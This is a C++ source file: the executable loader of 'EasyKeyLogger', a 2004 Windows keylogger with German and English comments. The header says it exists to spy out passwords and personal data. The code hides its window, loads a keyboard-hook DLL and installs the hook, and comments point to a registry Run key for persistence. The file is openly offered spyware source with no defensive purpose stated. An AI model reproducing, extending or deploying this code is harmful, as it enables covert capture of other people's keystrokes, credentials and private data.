EasyKeyLogger/EXE/EasyKeyLoggerEXE/EXEMain.cpp

// Downloaded from www.louis‑coder.com.
// Easy VC++ keylogger, can be extended by anyone.
// Evil Hack is a synonym, sample was created by Louis Coder.
// For questions or comments mail louis@louis‑coder.com.

// Einfacher Keylogger zum Ausspionieren von Passwörtern,
// persönlichen Daten u. Ä.
// Simple keylogger for spying out passwords,
// personal data, etc.
//
// (c)2004 by Böser Hacker (hat Visual Studio Hilfe (MSDN) und Samples
// aus dem Internet (www.pscode.com) zum Erstellen dieses Programms benutzt)
// (c)2004 by Evil Hacker (has used Visual Studio help (MSDN) and samples
// found on the Internet (www.pscode.com) for the creation of this program)

#include <windows.h>    // für winbase.h u.a./for winbase.h and others
#include <winbase.h>    // GetProcAddress u.a./GetProcAddress and others

// Proto‑Typen/proto‑types
int
    WINAPI // Aufrufkonvention (Prozedur‑Stack‑Handling)/calling convention (procedure‑stack‑handling)
    WinMain (
            HINSTANCE hInstance,        // handle to current instance
            HINSTANCE hPrevInstance,    // handle to previous instance
            LPSTR lpCmdLine,            // pointer to command line
            int nCmdShow                // show state of window
);

LRESULT CALLBACK WndProc (
            HWND hWnd,      // Fenster‑Handle/window handle
            UINT message,   // Nachrichten‑ID/message id
            WPARAM wParam,  // erster Parameter/first parameter
            LPARAM lParam   // zweiter Parameter/second parameter
);

// Code
int WINAPI WinMain (
            HINSTANCE hInstance,        // handle to current instance
            HINSTANCE hPrevInstance,    // handle to previous instance
            LPSTR lpCmdLine,            // pointer to command line
            int nCmdShow                // show state of window
)
{ // Einsprungspunkt für Windows‑Programm (vergleichbar mit main())/entry point for Windows‑program (similar to main())

    WNDCLASSEX  WindowClass; // Windows‑Fenster‑Klassentyp wird verwendet/Windows window class‑type is used

    LPCTSTR     WindowName[] = {"EasyKeyLogger"};   // Fenster Titelleisten‑Text/window caption
                                                    // (hier nicht sichtbar)/(here: not visible)

    WindowClass.hInstance = hInstance;  // Instanz‑Handle (verschieden für Programm‑Kopien (Prozesse))/instance‑handle (differ for single every program‑copy (process))
    WindowClass.lpszClassName = (LPCTSTR)WindowName;
    WindowClass.lpfnWndProc = WndProc;  // hier hin sendet Windows Fenster‑Nachrichten/that's where Windows sends window‑messages to
                                        // (Maus‑Klick, Tastatureingabe (NUR für Fenster))/(mouse‑click, keyboard input (for window ONLY))
    WindowClass.style = 0;
    WindowClass.cbSize = sizeof(WNDCLASSEX);
    WindowClass.hIcon = NULL;
    WindowClass.hIconSm = NULL;
    WindowClass.hCursor = NULL;
    WindowClass.lpszMenuName = NULL;
    WindowClass.cbClsExtra = 0;
    WindowClass.cbWndExtra = 0;
    WindowClass.hbrBackground = 0;
    WindowClass.lpszMenuName = NULL;

    if (!RegisterClassEx(&WindowClass)) // Fenster vor dem Erstellen registrieren (‑>MSDN)/register window before creation (‑>MSDN)
        return 0;

    HWND WindowHandle = CreateWindowEx( // Fenster erstellen (für Idle‑Loop)/create window (for idle‑loop)
        0,                      // extended window style
        (LPCTSTR)WindowName,    // pointer to registered class name
        "",                     // pointer to window name
        0,0,0,0,0,              // window style, position, size
        HWND_DESKTOP,           // handle to parent or owner window
        NULL,                   // handle to menu, or child‑window identifier
        hInstance,              // handle to application instance
        NULL                    // pointer to window‑creation data
    );

    ShowWindow (WindowHandle, SW_HIDE); // Fenster nicht am Bildschirm anzeigen/don't show window on screen

    /* hier eventuell Code zum Eintragen in Windows‑Registry platzieren */
    /* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows[ NT]\CurrentVersion\Run\ */

    /* place possible code for Windows‑Registry entry here */
    /* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows[ NT]\CurrentVersion\Run\ */

    // unsere HookDLL laden (sollte im aktuellen oder alternativ im Windows‑Verzeichnis sein)
    // lead our HookDLL (should be located in current or alternatively in Window‑directory)
    HINSTANCE   hInstanceDLL = LoadLibrary ((LPCTSTR) "EasyKeyLoggerDLL.dll");

    // Adresse von Hook‑Erstellungsfunktion ermitteln/get address of hook‑creation function
    FARPROC     KeyHook_InstallProcAddr = GetProcAddress (hInstanceDLL, "KeyHook_Install");

    if (!(KeyHook_InstallProcAddr)()) // Hook‑Erstellungsfunktion aufrufen/call hook‑creation function
        return 0; // schon eine Programm‑Instanz am Laufen/already a program instance running

    MSG WindowMsg;

    // Idle‑Loop, kopiert von Windows an das Fenster gesendete Nachrichten in Puffer.
    // Wenn keine Nachrichten vorhanden, wird keine CPU‑Zeit verbraucht (idle).

    // Idle‑loop, copies messages sent by Windows to the window into the buffer.
    // If there are no messages, no CPU time is wasted (idle).
    while (GetMessage (&WindowMsg, NULL, 0, 0)) // solange nicht WM_QUIT in Puffer/as long as there isn't WM_QUIT in the buffer
    {
        if (WindowMsg.message == WM_CLOSE) break; // WM_QUIT kommt nie :(/WM_QUIT never arrives :(
    }

    return 0; // Windows räumt Fenster auf/Windows cleans up windows
}

LRESULT CALLBACK WndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{ // Empfängt Fenster‑Nachrichten von Windows/receives messages from Windows

    // Windows verarbeitet Nachrichten/Windows processes messages
    return DefWindowProc(hWnd, message, wParam, lParam);
}


[END OF FILE]